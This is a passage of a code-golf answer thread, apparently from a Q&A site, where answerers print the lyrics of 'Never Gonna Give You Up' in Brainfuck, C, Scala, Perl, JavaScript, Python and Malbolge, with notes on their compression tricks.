+++.<<\n----.<<<<<.>>----.>-------.>>++++.>>.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<\n.>>>>>>.<+.<<<<+.<<..>>>>.>.<<<--.>>>>>+.<<.<<<<.>>>>>-----.+++.+.>>--\n.<<<<<<<.>>>>.----.++.+++++.<<<<.>>>>>.>--.<<.---.>>--.<<<<<<.>>>>+.>.\n>.<<<<<<.>>>>>>+.<.<<<<<.>>>>>---.+++.-.<+.<<<<<.>>>>++.>>+.>++.---.<<\n<<<<.>>>>+.---.----.>>.++.<<<<<.>>>>>-.<<<<<<.>>>>+.+++..>-.<<<<<.>>>>\n----.++.+++++.+.>.<--.<<<<.>>>>-----.>>++.-.<<<<<<<.>>>>.>>+.>+.<<<<<.\n>>>>>---.<<+++.<<<<.>>>>>>++.<..<<<<<.>>>>>>-.<<+++.>>>++.<<<<<<<.>>>>\n>>+.<.<<<<<.>>>>>>-.<<-------.>>>.<<<<<<<.>>>>++++++++.>>+.<<<<<<<.>>>\n++.>>>-.>-.<<.-----.+.<<<<.>>>>>>>--.<<<.<<<<.>>>>---.>+.>+.<<++++++.<\n<<<.>>>>>----.+++.+.>>.<<<<<<<.>>>>>>>.<<<.-------.>>.<<<<<.>>>>>-.<<<\n<<<.>>>>+.+++..>-.<<<<<.>>>>++.>+.<++.>-.<--.<<<<.>>>>>+.-.<<<<<<.>>>>\n--.>--.<<<<.>>>>>---.+++.+.>>.<<<<<<<.>>>>>>+.<<+++.---.<<<<.>>>>++.--\n----.>--.<++++.<<<<.>>>>----.>+.<+++.<<<<.>>>>>>>.<<<+.<<<.>>>>>--.<<.\n<<<<.>>>>++.>+.-..<------.<<<<.>>>>>++.----.<.>>>++.<<<<<<<.>>>>++++++\n++.>>++.<<<<<<<..>>>.<<.>>>>>--.>+.--.+.<<<<<<.>>>>>>>--.<<<--------.>\n++++..<.<<<<.>>>>>>.<<++++.>--..<<<<<.>>>>>>>++.<<+++.>+.<<<<<<.>>>>++\n+.>.>>--.<<<<<<<.>>.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.>++.<--.<<<<<.>>\n>--.>>>+.>-..<<------.<<<<.>>>>>--.<.>--.<++++.<<<<.>>>>>>>++.<<++++.>\n+.<<<<<<.>>>>>>.<-.<-.+.>>---.+.+.<<----.>.<+++.<<<<<..>>>+++++++.>>+.\n>>++.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<\n<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----\n.<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<\n+++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>\n>++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<\n<<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.\n<<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.\n>--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.\n>>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<\n<<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.\n<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<\n<<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.+\n+.<<<<<<.>>>>>>>.<<+.>+.<<<<<<<..>>>.>>---.>>+.<<.>>----.<<<<<<.>>>>++\n.>.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<<\n<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>-.-..<------.\n<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<<\n-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>>\n.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>.\n+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----.\n<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++\n.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<.\n>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.--\n.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<\n<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++++++.----.<<<<.\n>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+.<<<<<\n<<..>>>.>>---.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>++++++\n.++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>\n>+.<<.>>----.<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<\n<.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>---\n-.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+\n++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>\n>>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<\n<<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<\n<<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>\n>>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>++\n+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<\n.>>>>----.<<<<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++\n++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+.\n```\nPretty sure I can get a bit better by tuning it, but This is pretty good for now. Assuming you have no problem with this being much large than the original text.\n[Answer]\n# 589, C (only library function is putchar)\n```\nc,k;main(n){char*s=\"&-P;nDstrKgQsLlove>@rules wWldNget Sis from Ky?guy10-XifYask U6doNF U5OblTdLseeG//G442201//&383letYdown3run arWndr hear=achEbut>OshyLsH7Tside P boS: V=[Eon7P@gaU48U?k=!putchar(c-k):main(c-45):n--);}\n```\n* Table of substitution rules where characters in the range -..\\_(45..90) specify which rule to apply, thus some 48 rules (45, c-45>U48 in code), other characters are to be printed\n* rules are delimited by the '&' character (38 in code, n is decremented until the zero and thus s points to the correct rule)\n* rule 0 indicates that the next character should be capitalized (by setting k=32 in code), this frees up more space to add a larger continuous range of characters for rules\n* main(..) is called with 1 (as per zero argument C program convention), and thus rule 1 is the root rule\n## Evolution of code\n* shaved a further 9 bytes off thanks to ugoren's suggestion\n* shaved another 36 bytes off by creating table algorithmically rather than by hand, and via the \"'\" tip\n* shaved another 15 bytes off by changing the table from a char\\*[] into a single string where '&' delimits portions\n* shaved yet another 19 bytes thanks to more tips from ugoren\n* shaved 31 bytes by adding more rules, made special rule to capitalize, thus allowing more space for rule indexes.\n* shaved 10 bytes off thanks to yet more tips from urgoren, and tweaking rules slightly\n[Answer]\n## Scala, 613 bytes\n```\nprint((\"\"\"We'r%e %n&o &strangers9 t&9lo#ve#4\nYou47 know7 [th[%rules0 aZndZ 0s&d&I\nA full commitment's what1 I'm 1[ink=ing= of4 wouldn't get [is from any! o[er !guy>\nI just wanna \n.\nNe#r$./$ gonna /g2i#]up2$let]down$run arouZ0desert-$_cry$say goodbye$< a lie0hurt-@?\nWe'#7n each!for s&long4r hear;t's been ;ach= but4:'r%to&:shy9say8 it\n8Insid%w%bo[7 wha;going on\nWe7 [%game0we're/play8?AZ if]ask me3Don't < me-:bliZ9see@@\n5(Ooh, g2)\n556(Ooh)$gi#, ne#r/gi#^\n6(G2)^^?>@@\n\"\"\"/:(\"!#$%&Z[]^_\"++('-'to'@'))){(x,c)=>val y=x.split(c);y(0)+y(1)+y.drop(2).mkString(y(1))}\n```\nThis is a text decompression algorithm, recursively applying the rule that `~stuff~ blah ~ ~` should be converted to `stuff blah stuff stuff` (i.e. the first time you see an unfamiliar symbol pair, it delimits what to copy; thereafter, you fill in the value when you see it).\nNote: there may be an extra carriage return at the end, depending on how you count. If this is not permissible, you can drop the last one on the quote (saving one character) and change the split to `split(\" \",-1)` (spending 3 characters), for 615 bytes.\n[Answer]\n## Perl, 724 714 883 bytes\nSo the change to the rules penalizing the use of Latin-1 kind of killed my solution. It's a different enough approach that I hate to just delete it, though, so here's a restricted version that only uses 7-bit ASCII, as per the new rules, at a *huge* increase in size.\n```\nsub d{($d=$d{$_})?d(@$d):print for@_}sub r{%d=map{chr,($d=pop)&&[$d,pop]}0..96,113..127;&d}r\"We^P nEstraKersPElo~^_-SP< 5lesMsEdEI\nA3ull commitment's#hat I'mPhink9 of^_#}ldn't^?/Phis3romVny %il000?sto0w 0}Y0!\n+XXy}rB4Cu7*^ZhdUr'|&bdMT^[\nU^^e^V^QC^W/X^R;^N^Ll0.^S^K^MV6^To ^G^\\8ey^]r^Bc^A^O\"=~/./gs\n```\nOf course the control characters are still mangled here, so you'll still want to use the base64-encoding:\n```\nc3ViIGR7KCRkPSRkeyRffSk/ZChAJGQpOnByaW50IGZvckBffXN1YiByeyVkPW1hcHtjaHIsKCRk\nPXBvcCkmJlskZCxwb3BdfTAuLjk2LDExMy4uMTI3OyZkfXIiV2UQIG5Fc3RyYUtlcnNQRWxvfh8t\nU1A8IDVsZXNNc0VkRUkKQTN1bGwgY29tbWl0bWVudCdzI2hhdCBJJ21QaGluazkgb2YfI31sZG4n\ndH8vUGhpczNyb21WbnkgJTxyf3V5CkkganVzdCNhelA2VWhTIEknbTNlSDkKRyV0YSArSlRlcnN0\nYVQIWDUECTEAFQYDWHQFGRgKCldlJ34tOyBlYWNoICU8cjNvciBzRWxvSx9yIDxhTCdzPWVlOGNo\nOT11dB8QUG9Fc2h5UEUmIGl0Ckluc2kuI2U9JWgtUyNoYXQncz1lZW58OSBvbgpXZS1TUDx/YW03\nd2UQeCBwbD8gaXQKQVJpZl1Wc2sgbWUgaFMgSSdtM2VIOQpEb24ndFA2IG1lXRBQb0ViKlJ0RTFl\nCFg1BAkxABUGA1h0BRkYCFg1BAkxABUGA1h0BRkYCgooT29oLEZCKQooT29oLEZCKQooT29oKTQs\nIG5eRgooR1FCKQooT29oKTQsIG5eRgooR1FCKQoKV2Unfi07IGVhY2ggJTxyM29yIHNFbG9LH3Ig\nPGFMJ3M9ZWU4Y2g5PXV0HxBQb0VzaHlQRSYgaXQKSW5zaS4jZT0laC1TI2hhdCdzPWVlbnw5IG9u\nCldlLVNQPH9hbTd3ZRB4IHBsPyBpdAoKSSBqdXN0I2F6UDZVaFMgSSdtM2VIOQpHJXRhICtKVGVy\nc3RhVAhYNQQJMQAVBgNYdAUZGAhYNQQJMQAVBgNYdAUZGAhYNQQJMQAVBgNYdAUZGApnIGV2dW9v\nf25uYXswenwwMDAwMDB4cnkgcX5fZX1gMF5OWwowIFowYSAgXWRud28gVH5pdCAwMFJWdHJnbnVV\nMGxlMFF/IG8wXUxwSjAweWFhbWIgZWhuU2VrS2lWbk1lbEh1ckZaZiBrIGVzMHRlZWRuMjA6Pmls\nMDAwP3N0bzB3IDB9WTAhCitYWHl9ckI0Q3U3KhpoZFVyJ3wmYmRNVBsKVR5lFhFDFy9YEjsODGww\nLhMLDVY2FG8gBxw4ZXkdcgJjAQ8iPX4vLi9ncw==\n```\n---\nBecause I think it should still be visible despite being DQ'd, here's the original solution:\n```\nsub d{($d=$d{$_})?d(@$d):print for@_}sub r{%d=map{chr,[pop,pop]}45..63,122..255;&d}r\" ¯:ç5raâ08/þ; Ölesì|dçI\nAÌull comm°6ntŒ3èhink1fÍýldn'tÿÙèhisÌromðny4ÿuy ju5Íaú=î9GÐ Ëäï0ï\n'þœn ea}4Ìo|/â-aêÔ}ÜÚut.shy8ÎnsiÞÍeÚÐhœ3nü1n;ÿamÓwe¯ù plá\nAíifôðsk 6 9Don't= 6ô.bÕítçÏe\n,ã2,ã2)Û,:õã¶Gé2)Û,:õã¶Gé\n'þœ ea}4Ìo|/â-aêÔ}ÜÚut.shy8ÎnsiÞÍeÚÐhœ3nü1n;ÿamÓwe¯ù plá\n ju5Íaú=î9GÐ Ëäï0ï\ng evuooÿnnaûúürþýyøeùö÷ N\nõó òa dn ô ïíðwotrþit oleôêuîéÿgnyalæpäedkaâiãòb teënØkurilðnìeeheÝtoesásw f ÑmÖñY\nr'bdhÓÏÞÕ tñìïñåîÙëdÎñ× s'oüyrÁÅeyÄð(\nåÞŸºrÔlñtieÈàŽý²Æ·Â­¬®Ë¹À±šßÊnuª¥Çcîµ€£©eW³¡«»¢ýÉŠ¿§ÛoOI\n° I )ßee¶ rhm'Úat \noèÜæçŒrÒÐtaÒèëo hcçseÌ\nhz{àèreœn >?çèhÍemts 7~Üs\n```\nt=\"We're no strangers to love|YouSrules;so do I|A full commitment's what?think7f|You wouldn't get this from anyLguy^zQnqAnd if:ask me[Don'tEme yRblind=ee{HUH_]|Qq^{x
{zxz||xxZKVlet:downVrun around;deseBVMcryVsay goodbyeV8a liFhuB||q eachLfor so long|Your hearPaching but|YRshy=@Inside we bothCwhaPgo7n|WeSgamFwe'reJpl@_U]^|I just wannaEyou[Gotta Munderstand](Ooh)|Z, nX|(GU[ how?feeling|ZNXXTgiveV|NTUiveK)|TeverJSCthe Rou're too QWe've9Pt's been Mmake:L other K:upJ gonna H(Ooh, gFe;E 8C9 Brt you@ay it|? I'm = to s; and : you 9 know8tell 7ing o\";c=\"|{zxq_^][ZXVUTSRQPMLKJHFECB@?=;:987\".split(\"\");while(l=c.pop()){t=t.split(l);t=t.join(t.pop())}document.write(t)\n```\n[Answer]\n# Python 781 731 605 579 Chars\nThere are a lot more and much better answers from when I first saw this, but I did waste a lot of time on my python script so I am going to post it any way, it would be awesome to see suggestions to further shorten it, \nEdit : thanks to Ed H's suggestions 2 chars chopped, to go further I might have to restructure a lot of thing here which is going to take some time \n```\ns=\"e |nd|-We| a|-(Ooh|N| what|ive| go|ay it-|I|er|G|o |make5 |D| th| othH |A| tF|ing |nna |tell|'s been|'rS|-You|-N4| know|L5 up|PR | you|evHK>| how I'm feeling-|O, g7)|O)9gL, n4gL-(G7)|-I just wa>=53Gotta EuRHstaR-.|Q've8n eachBfor sFlong:r heartplJ|9g79let5 down9runProuR6desHt59Ecry9sayKodbye9=P lie6hurt5-|\\n|Q;nFstrangHs@love:8CSrules6sFdFI-A full commitment'sM I'mCink?of: wouldn't getCis fromPnyBguy0/AR if5Psk me3Don't = me5;[[email protected]](/cdn-cgi/l/email-protection)/0..\";i=83\nexec\"x,s=s.split('|',1);s=s.replace(chr(i),x);i-=1\"*39\nprint s\n```\nAfter the first time that I manually produced the string(very tedious), I wrote a function to recursively find the pattern replacing which was most profitable(at that step), which gave me a solution but it turned out to increase the size by 10 chars.\nSo, I made my algorithm a little less greedy by instead of doing the final ranking only on 'characters reduced', ranking on a function of 'characters reduced', 'length of pattern' and 'counts of pattern'\npattern length = length\ncount = count\n```\nrank = [(length-1)*count - length - 2] + lengthWeight * length + countWeight * count\n```\nThen I asked my poor laptop to run infinitely, assigning random values to `lengthWeight` and `countWeight` and get different final compression sizes, and store the data for minimum compression sizes in a file\nIn half an hour or so it came up with the above string (I tried to tinker with it further to see if I could shorten the code), and it won't go any lower, I guess I'am missing something here.\nhere's my code for it, also `max_pattern` is very slow \n(Note: code spits out a string similar to form in my previous version of the solution, I manually worked through it to get the current form, by manually I mean, manually in python shell)\n```\nimport itertools\nglobal pretty\nglobal split\nsplit = False\npretty = False\n# try to keep as much visibility as possible\ndef prefrange():\n return range(32,127) + ([] if pretty else ([10, 9, 13] + [x for x in range(32) if x not in (10, 9, 13)] + [127]))\ndef asciichr():\n return [chr(x) for x in prefrange()]\ndef max_pattern(s, o, lenw, numw):\n l = len(s)\n patts = []\n for c in range(l/2+1,1,-1):\n allsub = [s[i:i+c] for i in range(0, l, c)]\n subcounts = [[a, s.count(a)] for a in allsub if len(a) == c]\n repeats = [(x, y, ((c-o)*y - o*2 - c)) for x, y in subcounts if y > 1]\n ranks = [(x, y, (z + lenw*c + numw*y)) for x,y,z in repeats if z > 0]\n patts = patts + ranks\n try:\n return sorted(patts, key=lambda k: -k[2])[0]\n except:\n return None\ndef sep():\n return '~~' if pretty else chr(127) + chr(127)\ndef newcharacter(s):\n doable = [x for x in asciichr() if x not in s]\n if len(doable) == 0:\n doable = list(set(x+y for x in asciichr() for y in asciichr() if x+y not in s and x+y != sep()))\n if len(doable) == 0:\n return None\n return doable[0]\ndef joined(s, l):\n one = [x for x in l if len(x)==1]\n two = [x for x in l if len(x)==2]\n return ''.join(reversed(two)) + sep() + ''.join(reversed(one)) + sep() + s\ndef compress(s, l=[], lenw=0, numw=0):\n newchr = newcharacter(s)\n if newchr == None:\n if not l:\n return s\n return joined(s,l)\n else:\n ptn = max_pattern(s, len(newchr), lenw, numw)\n if ptn == None:\n if not l:\n return s\n return joined(s, l)\n s = s.replace(ptn[0], newchr)\n s = ptn[0] + newchr + s\n l.append(newchr)\n return compress(s, l, lenw, numw)\ndef decompress(s):\n lst2, lst, s = s.split(sep(),2)\n li = [lst2[i:i+2] for i in xrange(0, len(lst2), 2)]+list(lst)\n for c in li:\n x, s = s.split(c, 1)\n s = s.replace(c, x)\n return s\ndef test(times):\n import random\n rnd = random.random\n tested = {(1001, 1001): (10000, 10, False),}\n org = open('text').read()\n minfound = 1000\n for i in xrange(times):\n l,n = 1001,1001\n while (l,n) in tested:\n # i guess this would be random enough \n xr = lambda: random.choice((rnd(), rnd()+rnd(), rnd()-rnd(), rnd()*random.choice((10,100,1000)), -1*rnd()*random.choice((10,100,1000)),))\n n = xr()\n l = xr()\n sm = compress(org, l=[], lenw=l, numw=n)\n try:\n dc = decompress(sm)\n except:\n tested[l,n] = (len(sm), len(sm)/float(len(org)), 'err')\n continue\n tested[l,n] = (len(sm), len(sm)/float(len(org)), dc==org)\n if len(sm) < minfound:\n minfound = len(sm)\n open('min.txt','a').write(repr(tested[l,n])+'\\n')\n print '~~~~~~~!!!!!!! New Minimum !!!!!!!~~~~'\n return tested\nif __name__ == '__main__':\n import sys\n split = False\n try:\n if sys.argv[2] == 'p':\n pretty = True\n except:\n pretty = False\n org = open(sys.argv[1]).read()\n try:\n l=float(sys.argv[3])\n n=float(sys.argv[4])\n except:\n l,n=0,0\n sm = compress(org,lenw=l,numw=n)\n print 'COMPRESSED -->'\n print sm, len(sm)\n #open('new.py','w').write(sm)\n print len(sm)/float(len(org))\n print 'TRYING TO REVERT -->'\n dc = decompress(sm)\n #print dc\n print dc==org\n```\n[Answer]\n# Malbolge, 12735 bytes\n```\nD'`N^?o!6}{FW1gSSR2PO)oo98[H('3}C#\"?xwO*)L[Zp6WVlqpih.lkjihgI&^F\\a`Y^W{[ZYX:Pt7SRQPOHGkK-CHA@d>C<;:9>=6Z:9876v43,+Op.',%*#G'&}$#\"y?}_uts9qvo5sUTpong-NMib(fedFEa`_X|\\[T=aA@\">76;:9870Tu-2+*)Mn,+*#\"!Efe{z!x>|utyxwpo5Vlqpih.fed*ba`&^c\\[`Y}@\\[TSXQuUTMLQPOHl/EDIHAeED=BA@?8\\<|438765.R,r*)(L,+$j\"'~D${c!x>_uzyrq7XWsl2ponmfN+LKgf_^c\\\"Z_^]VzZYX:VOsSRQ3IHGk.JCBAeEDCB;:9]~<5Yzy705432+0/(L,l$H('&feB\"yxw={zsxq7Xnsrkjoh.lkdiba'eGcba`Y}@VUySXQPONMqQ3IHlLEJIBA@d'=BA:?87[;:z870T4-2+O/.'&JIj\"'&}Cd\"!x>|uzyxqpo5slk10nPf,jLKa'_dcb[!_X@VzZ=6|:32V05432+0)M-&+*#Gh~}|Bc!x>_{tyr8vutsrTpoh.lkjihgI&^F\\[`_X|VUZSRWVOs6LQJImGLEJIBAeED&B;_?!=654X87wv4-Q1qp('&Jk)\"!&}C#zb~wv{t:[qpotsrk1oQPlkd*hgfe^]#aZB^]V[ZSwWP8TSLpJ2NGkE-IBA@dDCBA:^!~654Xy705.-Q1*/.'&%Ij('&}C#\"!~}|ut:[wvonm3qpongO,jLKa'eGc\\[!_A@VzZYX:Pt7SRQPImM/KJIBAe?'=<;_9>=<5492V6/43,P0/('&+*#G'&feBzb~}|uts9wYXn4rqpoQPlkd*hJIe^$ba`Y}WV[Tx;:PONrLKJONGkE-IBAe(D=7[;{z810/S-,+0/('&J$j(!E}|#z!x>|{t:xqYo5slTpingf,jLba`&^Fb[`_X|\\UTx;WPUTMqQPO1GkE-IBA@dD=B;:?8\\<;4981U5432+*)Mn,%Ij('~}|Bc!x}|ut:9wYunmrk1onmfN+LKa'edFEa`_X|?Uyx;WPUTMqQ3ONMFjJIHA@d'CB;:?8\\6|:32V65ut,P0po'&+$#(!E%|#\"y?w|{tyr8vutsrTpoh.lkjihgI&^F\\[`_X|VUZSRWVOsS5QPIHGkEJIHAed>&<`@9>=<;4X876/.3210)(Lm+*#G'~}$#zy~w=u]sxq7Xtmlkji/POe+*hg`Hd]#DZ_^]Vz=SXQVUNrR43ImMLKJIH*@d>C<`#\"8=<;:3Wx05.3,P0po'&+$#(!E%$#\"yx>|uts9wYonm3Tpinglkd*hJIedcb[!_X@VzT7[;43Wx0/43,P0/.-m%*#GF&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,Pqp(Lm%I)i!~}C{cy?}v{tyr8vuWmrqji/mlejihgf_^]#a`BA]\\[Tx;WPUTMqQP2NGFEiIHA)?c&<;@98\\};:3W76/u3,+*N.',+$H(!g%${A!~}vu;sxwpun4rqjRnmf,MLbgf_dc\\\"`BXWVzyYXWP8NrRQ32NMLEDhHGF?>C<`@9876Z4321U5432+*)M-,+*ji!E}|{\"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j\"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\\[ZSRWVOsS54JnNML.DhHA@EDCB;_\"!=<5Y3y165.-Q1*/.-&Jk#\"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#\"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB\"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#\"!x>|{z\\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfeE'=<;:9]=<;{z870T.-2+*/.-&J*)(!~}C{cy?}v{tyr8YXnml2ji/glkdcb(f_dcbaZ~^]\\U=SwQVOTMRQJImG/EJCHAe(D=B;@?>7[|:9876/.3,Pqp(',+*#G'&feBzy~w={]yxwvo5mrqj0hmlejiba'eG]b[`Y}@VUySXWPUTMqQJ2NGkEJCHA@dDCB;_987<;:9810Tu3,10).'K+$j\"'~D|dz@~}_{t:xqpon4rqjRnmf,jchaf_%]Ea`_^]VzZYXQ9UNr54JnH0LKDhHGFEDCB;_?!~<;:981U/u3,+*N.-,%k)\"Fg%$#\"!x>v{tyrq7Xtmrk1oQPfejc)gfH%]baZ_^W{[TSwv9OTMLp3ONMLEDhBGFEDC<;_\"!7[|{9870T43,+Op.-&+$)\"F&f$#zy~w=^]sxqpo5srqpoQg-Njchafedc\\\"`_X]VzZYR:u87SLKJnNM/KDhBGF?>=aA@?!~6;:3W7wv.-2+O/o-&J$j\"'~D${c!x>|{tyxq76nsrkpi/gfkdiba'HGcb[!_^@VUTx;WPUTMqQPONM/EiCHG@dDCB;_987<;:9810T.-,10)M',%$)\"F&feB\"!a}|u;\\xqputm3qpRQ.fkdcbg`&dFEaZ~A@\\[TxXQ9UTMqQPINMFjJ,HG@d'=BA:?87[;:z8765.R210/o-&J$j\"'~D$dc!x>|uzyxqpo5Vlqping-kdchg`_%cE[`Y}]?>ZSRWVOsM5KoOHMFjJCHGF?cCB;@?87[;:z8765.R,1*/.-&%Ij('~}|Bc!x>_utsxqpo5mlk1onmfN+iKg`_^$E[!~^]\\U=SwQVOTMRQJImMLKD,HAe?DCBA@?>7[|{92V6/.3210)(Lm+*#G'&feBzy~w={ts9wvXnm3kSohglkjiha'e^]\\a`Y}@VUyYX:POTMqQJ2NMLKDhHA@dD=<`#\"8=<;:3W7654-Q10/('K+$)(!EfeBzb~wv{t:[wpon4Ukji/Plkjchgf_^$bDZ_^]VzZ=B;:9]~654X270T.-2+*/.-&J*j\"!~D${cy?}v{tyr8vuWsrqpi/mleMihgf_^]#aZ_XWVzyYXWP8NrRQ32NMLEDhHA)?cCB$@987[5{321U5u32+O)o'&J*ji'~D${c!x>_{tsrwvun4lTjih.lkjihJI_%F\\aZ_^W{>=YXWPOsS54PIm0/KJCBAe(>==<;4Xyx65.R210).'K+k#G'&feB\"b~}vC<;:9>=6Z:z8765.R210)o'&J$)\"!~%${A!~`v{zyr8pXnslk1onmfN+Lbgfe^]#aC_X|{[ZSXWVOsMRKoONML.DhHA)E>bB;:9]=6|49810/.R2r*).-&J*)(!&}C#c!x}v<]\\xqputm3qponmfN+LKa'edFEa`_X|?Uyx;WPUTMqQJnH0FKJCHAe?>CBA:?87[|{98765.R210).'K+k#G'gfC{cy~}vu;yxwvXWsl2ponmfN+LKa'_^$#DZ_^]Vz=CZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxqYo5srTSihg-kMc)J`e^]#DZ_^]VzTSRQVONMqQJOHlF.JIBf)d'CB;:?8\\<;492Vw5.-,+O/('&J$j(!E%e{zy?}|^]yxq7XWsrkji/mfN+ihg`H^$b[Z_^W\\UySRQPtsSR43ImM/KJIBAeE>&<`@9876Z4321U5432+*)M-,+*ji!E}|{\"y?w|utyr8potsrk1onmlkdiba'eGcba`Y}]?>ZYXQuOTSLpPIHMLEDCg*@?>=a$@9]=<;{z876/S3210/o-&J*j\"!~D|{z@awv{zyr8pXn4rqjoh.-kjchgf_%cE[`Y}]\\[ZSRWVOsS54JnNML.DhHA@EDCB;_\"!=<5Y3y165.-Q1*/.-&Jk#\"'~D|#z@x}vut:rwpun4rqjih.lkjihJI_%F\\aZ_^W{>=YXWPOs65KJOHlL.JIHG@dDCB$@?>=<5Y98x6543,P0)(-,%$#(!E%|#\"!x>_{tyr8vuWmrqji/mlejihgf_^]#a`BA]\\[TxR:u8NSRQJImG/EJCHAeE'=B;@?>7[;49870T4t2+*)M-,+*#\"!E}|{\"y~w={]\\xqpo5srqjoh.-kjchgf_%cE[`Y}]\\>=SwWP8NrLKPOHGkKJ,HG@d'=BA:?87[|{98765.R210).'K+k#G'&feB\"!x}v{zs9wYXn4rTSoh.lNjibg`&G]#aC_X|?>ZYXWPt7MLKJImMFEDCgGFEDCB;_?>=<5{3W165.R2r0/.'KJ$#('~%|Bcb~w|u;yxq7utVrkji/Pledihg`&dcba`Y}W?UZYRQuONMLQJOHlkKJI+AeED=%;_?!~<5Y98x6543,P0/.-m%*#G'&f${A!awv{zs9wpunsrkj0hgfejiba'eG]b[`Y}@VUy<;WVUTMqQJ2NGkKJIHA@dc&BA@?>=<5Y9216543,P0po'&%I)(!g%${Aya}|u;:rwpun4rqjih.fN+cha`_^$ba`BX|\\[ZYX:Pt7SRQPOHGkKJ,HAF?>bB$:?8=6Z:3y76/St,+O).',%$#G'~f$#\"!x>|{z\\xwp6tsrkpong-kjihgfH%cbDCYXW{>=YXQu8NMLpJINGLEJIBfe(>=a$@9]=<;{z876/S3210/o